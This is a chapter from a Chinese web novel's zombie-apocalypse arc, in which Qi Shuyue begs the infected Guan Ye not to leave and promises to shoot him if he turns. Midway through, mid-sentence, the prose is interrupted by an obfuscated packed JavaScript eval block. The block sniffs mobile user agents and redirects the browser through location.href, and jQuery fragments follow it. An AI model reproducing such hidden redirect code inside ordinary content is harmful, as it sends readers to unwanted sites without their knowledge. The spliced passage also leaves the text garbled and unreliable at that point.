13.末世篇(13)
作品:《热爱作死的炮灰[快穿]》 这算什么问题?
齐疏月被问懵了一下。他的脸从那张宽阔手掌里挪开,露出泛着红的鼻尖,淡茶色的眼睛很直白地盯着观野,最后只本能地道:“观野,不要死。”
“我不想你变成怪物。”齐疏月感觉眼泪又控制不住地掉下来了,他拿手胡乱去擦,很用力,以至于将脸也擦得很痛,最后被观野捉住手腕,像是被强行按在地上袒露腹部的猫咪那样没有安全感,只能抽泣着说,“我不要你死。”
于是又被观野抱住了。
他们抱了很久,观野将齐疏月一整个人都包裹进怀抱里,体温滚烫,齐疏月觉得自己像是一团快要化掉的棉花糖。最后听见观野的气息喷薄在他的耳边说:“我知道了。”
——应当是在意的。
在心底那头永不餍足的野兽被短暂地投喂了温情,以至于产生饱足感时,观野的情绪也接近平稳,后知后觉地生出了一股恐惧感。
一具行尸走肉,竟在临近死亡时才终于意识到自己必须活下来那样。
观野恐惧的甚至远超过死亡本身。如果他死了,被他独自遗留下来的齐疏月要怎么办?
本该永居夜幕上的明月,在混乱失序的世界里却无法被保全——天地倾覆时,月亮也仿佛人人都伸手即可够到。齐疏月那样娇气柔软,要将他一个人遗留下来,面对那些吃人的怪物,和同样吃人的人心吗?
哪怕只是稍微在脑海中构思出那样的画面,观野便压抑不住体内鼎沸的杀意,更压抑不住漫天遍地扑来的恐惧。这种情绪何其陌生,以至于观野也手足无措。只是在他将陷入癫狂时,又听见齐疏月强行压抑着、却还是不慎泄露出来的一瞬哭泣声。
怀里的存在仿佛成为倾塌的天地间唯一的支点,也是观野理智的最后一丝防线。
他必须冷静下来。
观野低头,用生涩的、拙劣的技巧哄着怀里的人,也做好最后的打算。
在他还没变成怪物之前,他会去尽力搜寻物资,将附近的丧尸杀空,制造一个短时间内,足够安全的领域。
如果可以,他还会为齐疏月挑选新的盟友……但不确定性太强,剩下的时间也太短暂,短暂到观野无法确定自己能亲自完成这一切。
他画了地图,又写下一册名单交给齐疏月。用曾经留下来,以为绝不会再使用的特殊通讯器,不断向外发送信号——只是在末日影响之下,暂未收到那些人的回应。
“如果能见到他们,将你的枪给他们看,他们会代替我照顾你。”
伴随着名单递出的,还有这句话。观野神色尽量保持着淡漠平稳,只是偶尔会流露出一丝恨意,无比妒恨起自己会死的太早。
齐疏月稀里糊涂地听着观野说这些,原本只是觉得他的声音一直在耳边,能把握住零星的安全感。等见到那本莫名其妙的名册时,齐疏月才意识到什么。
“你要走了吗?”齐疏月的唇瓣颤抖着,问出这句话。
“要离开我了吗。”
声音越来越低哑,像是轻声呢喃一样,足以令任何听到他语调的人心碎。
观野也很难不心碎。
他静了静才说,“留在这里,变成怪物,需要你亲手用枪.杀了我。齐疏月,那样对你太残忍了。”
这样的死法对于原本的观野来说,甚至是值得追求的。死在齐疏月的手上,成为他手底下第一个消逝的生命,想必也会让人难以忘怀。
偏偏在知道齐疏月的在意之后,观野又有些舍不得了。
齐疏月可能会比想象中还要难过。
所以最好的方法,是在死前尽力发挥出全部价值,做所有能做到的事。随后离开,越远越好,在无人可知的位置变成那些腥臭的怪物当中的一员,如果有可能……还是不要再和齐疏月相见了,不论从哪方面而言。
观野现在还保持着理智的清醒,他的力气明明那么大,轻易就能搬动装满的实木衣柜,可现在却偏偏掰不开齐疏月握着他的手。
齐疏月已经尽力不哭了,他几乎发不出声音来,只是抓住了观野,不断摇头。
不要、不要走。
天已经黑了,寝室陷入一片昏暗中。没有人点灯,齐疏月在静谧中强行冷静下来,断断续续地开口:“你不会,变成丧尸的。”
说是这么说,齐疏月其实根本没有任何“证据”可言,也没有任何倚仗。
他和观野陷入了同样纠结两难的境地当中,但是他没得选,也只能相信这个毫无依据的结论,相信奇迹会降临在主角——或者说降临在自己的身上。
“所以留下来吧,万一很幸运,你没有感染,”齐疏月低声喃喃,更像是在祈求一个美好愿景,“我们就能继续,在一起。”
“如果感染了的话。”
齐疏月轻微地叹了一口气,认同了观野之前说的那个可怕的局面,“在你变成丧尸的时候,我会杀了你,用你给我的枪。”
“然后……”齐疏月的胆子一向很小,这时候却显得很坚定:“我会和你一起走,不会让你一个人的,观野。”
齐疏月这会确实有点心如死灰的意思在。
主角都死了,剧情也彻底崩塌,他这个炮灰还有什么存在下去的必要?甚至这个小世界应该都会暂时封存,等待下一次重新发育进化的时机。
发展局应该会派来更加有实力的老员工,将弥补他闯下来的弥天大祸。为此将付出多少人力物力不提,齐疏月觉得自己,应该是要被开除了。
过往一切都成泡影,齐疏月舍不得现世的家人和朋友,也在此时,真情实意地愧对被自己搞砸了人生的主角。如果不是他,观野应当还有许多传说要谱写。
这些巨大的压力和愧对的情绪汇集在一处,压得齐疏月身体都在微微发颤,只能很轻声地说“对不起”。
观野很久都没给出正常的反应来。
那一句话落在他耳中,仿佛平地惊雷一般,轰得他脑子都在微微发麻,四肢百骸都说不出的……泛着痒。
这是……
殉情?
当然,或许还有更多的解读,齐疏月依赖着他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967758|193298||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,才会在发觉他要死之后情绪一时失控低落,说出这样的话。在最初的那一股震动后,观野才发现自己并没有想象中确认了自己的必要性那样的高兴,反而更加强烈心悸。怜惜和悔恨,同时蔓延了上来。
可惜一切都不够及时了,观野的嘴唇张合,却什么声音都没发出来。
他只是想,很高兴,到死都能绑着齐疏月一起。
也在想,但是齐疏月的后半生,不能浪费在一个死人身上。
*
一切像是如齐疏月所愿,观野最后没有离开,他出去清理了更多的丧尸,也搜寻回来了更多的物资,几乎要将他们的小房间堆放得满满当当。最后因为齐疏月强烈要求要跟着他一起,观野还是老实地将自己关回了寝室里。
齐疏月给他上了药,伤口用绷带缠紧了,但只有观野知道那道伤口还在不断地腐烂扩大。
但他的体质实在是好,依旧没有变成丧尸,每天晚上休息的时候,就会让齐疏月拿出工具箱里的绳索把自己捆起来,然后关进卫生间里。
齐疏月按照他说的话,将他用绳子绑起来了,但不愿意把观野关进卫生间,只说:“这样就够了。”
然后窝在沙发椅上正对着他,蜷缩成一只小猫似的模样,穿着睡衣盖着棉毯,昏昏欲睡模样。
齐疏月这几天显然也是没休息好的,眼底下有一层淡淡乌青。观野看了又怎么不会心疼,只是齐疏月也不肯听他的话去床上睡,很倔地缩在沙发椅里说:“我要监视你的。”
其实是陪着。
观野知道的。
甚至生出了一种自己怎么不能早点死非要这样耗着的疯狂混乱的念头来。
也是在这样的一个夜里,观野察觉到了自己身上的变化,身体似乎更烫了,他在渴求着某种存在,在喉结滚动的一瞬间,观野喊了齐疏月的名字。
齐疏月正半搭着眼睛,小憩当中,听见观野的声音就朦朦胧胧地睁眼。
观野那双猩红的眼在黑暗中紧紧盯着他,说:“齐疏月,看着我。”
而在齐疏月真正看过来的时候,观野居然笑了一下。
齐疏月很难得能从观野脸上看到的那种、温和的笑意。
齐疏月怔了一下,下意识地也想轻笑一下,但是心底情绪已经不可抑制地变得低落起来,生理上已经先一步明白现在的局面。
要来了。
观野说:“拿着枪过来。”
枪里的弹药满匣,是观野之前亲手换的。
枪就放在旁边,齐疏月摸上枪柄的时候,手指被冻得僵冷,几乎难以弯曲,很艰难地才确保自己扣在扳机上。
他来到观野的身边,高高俯视着被绑起来的观野,像是叱咤风云的杀手那样。
齐疏月觉得自己此时的表情应该非常之冷酷无情,但是观野看着他叹息了一声,语气很有些疼惜和无奈意味:“不要哭了,小少爷。”
齐疏月怔怔地眨眼,才发现眼泪又掉下来了,而且因为位置的尴尬,几滴泪都一下落在了观野的脸上。

